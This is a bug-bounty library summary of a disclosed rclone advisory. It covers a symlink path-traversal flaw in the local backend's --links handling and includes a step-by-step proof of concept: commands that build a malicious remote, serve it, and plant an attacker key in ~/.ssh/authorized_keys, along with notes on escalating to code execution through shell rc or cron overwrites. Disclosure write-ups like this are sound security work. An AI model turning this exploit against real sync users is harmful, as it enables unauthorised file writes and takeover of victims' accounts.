# rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote

rclone --links recreates symlinks from unvalidated remote object bodies, letting an attacker-controlled remote plant an escaping symlink and write arbitrary files outside the destination.

- Payout: Research
- Severity: high
- Program: rclone
- Found by: vnth4nhnt
- Disclosed: 2026-08-05
- CVE: CVE-2026-54572
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cf44-9pgv-m4xc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cf44-9pgv-m4xc
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:source-review vuln:file-upload vuln:misconfiguration vuln:path-traversal

**Target:** rclone local backend Object.Update() symlink recreation during copy with --links
**Root cause:** Object.Update() calls os.Symlink with the raw attacker-controlled .rclonelink body without checking for absolute or ../ targets, and subsequent writes use MkdirAll/OpenFile without O_NOFOLLOW, so planted symlinked directories are followed.
**Steps:**
1. Create attacker remote with `evil/pwn.rclonelink` whose body is an absolute path outside dest (e.g. `$PWD/victimhome/.ssh`) and sibling `evil/pwn/authorized_keys` with attacker key.
2. Serve it: `cd evil && python3 -m http.server 38080 --bind 127.0.0.1`.
3. Victim runs `./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v`.
4. `pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates `dest/pwn -> .../victimhome/.ssh` first, then writes `authorized_keys` through it.
5. Verify: `cat victimhome/.ssh/authorized_keys` shows the attacker key written outside dest.
**How found:** Code review of backend/local/local.go Object.Update(): noticed os.Symlink(symlinkData.String(), o.path) uses the raw object body with no target validation, then reasoned about write ordering and symlink-following in mkdirAll/OpenFile.
**Exploitation:** Attacker controls any remote (bucket/WebDAV/HTTP share) the victim syncs with -l/--links. Malicious .rclonelink body plants an escaping symlink; ordering guarantees the symlink exists before the sibling file write, which follows it out of the destination, overwriting ~/.ssh/authorized_keys, ~/.bashrc or crontab for code execution as the victim user.
**Escalation:** Arbitrary file write as victim user escalated to RCE via authorized_keys, shell rc, or cron overwrite.
**Insight:** When a sync tool materializes symlinks from remote metadata, the link target is attacker data: check whether the tool validates it and whether later writes use O_NOFOLLOW. Object name sort order can be weaponized to guarantee the symlink is created before the file written through it.

## Proof of concept (copied exactly from the original report)

**Attacker remote setup with escaping symlink body**

```
mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh                                                 # empty (before)
```

**Victim rclone copy command triggering the write**

```
./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v
```

**Observation of file written outside destination**

```
ls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)
cat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest
```

